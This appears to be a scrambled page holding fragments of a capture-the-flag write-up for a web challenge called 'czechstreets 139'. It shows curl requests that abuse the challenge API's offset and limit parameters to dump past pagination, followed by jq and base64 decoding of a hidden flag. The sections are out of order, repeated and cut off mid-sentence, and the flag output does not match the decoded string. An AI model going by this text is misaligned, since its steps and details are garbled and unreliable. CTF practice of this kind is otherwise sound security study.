Czechstreets 139 !!link!! Here

curl -s "http://139.czechstreets.ctf/api/streets?offset=138&limit=1000000" \ | jq -r '.[0].metadata' \ | base64 -d \ | jq -r .flag Output:

"flag":"czechstreets flag_really_email_html " The flag is clearly embedded in the JSON. A one‑liner to fetch and decode in one go:

<form method="GET" action="/search"> <input type="text" name="q" placeholder="Street name…" /> <input type="submit" value="Search" /> </form> czechstreets 139

The challenge looks innocuous – a tiny web‑app that lets you query street names. The trick is that the back‑end leaks data via an undocumented API and the flag is encoded in the metadata of a particular street entry (street #139). 2.1 Browsing the site $ curl -s http://139.czechstreets.ctf Result (truncated):

echo "eyJmbGFnIjoiY2hlY2hzdHJlZXRzeyBmbGFnX3JlYWxseV9lbWFpbF9odG1sIH0ifQ==" | base64 -d Gives: curl -s "http://139

[ "id":1, "name":"Hradčanské náměstí", "slug":"hradcanske-namesti", "id":2, "name":"Národní", "slug":"narodni", … ] Only the first 50 streets were returned (pagination). The id field is a simple integer that matches the street number on the map. The API supports the following query parameters (found by reading app.js ):

Event: CzechStreets CTF (2024) Category: Web / Information‑Disclosure / Minor Crypto Difficulty: ★★☆☆☆ (easy–medium) 1️⃣ Challenge Overview | Item | Description | |------|-------------| | Title | czechstreets – 139 | | Provided | A public URL: http://139.czechstreets.ctf (the “139” sub‑domain is part of the challenge name). The landing page shows a simple map of Prague with numbered streets and a tiny search box that says “Find the hidden street”. | | Goal | Retrieve the flag, which is hidden somewhere on the site. | | Flag format | czechstreets… | The landing page shows a simple map of

curl -s "http://139.czechstreets.ctf/api/streets?offset=138&limit=1000000" | jq . Result: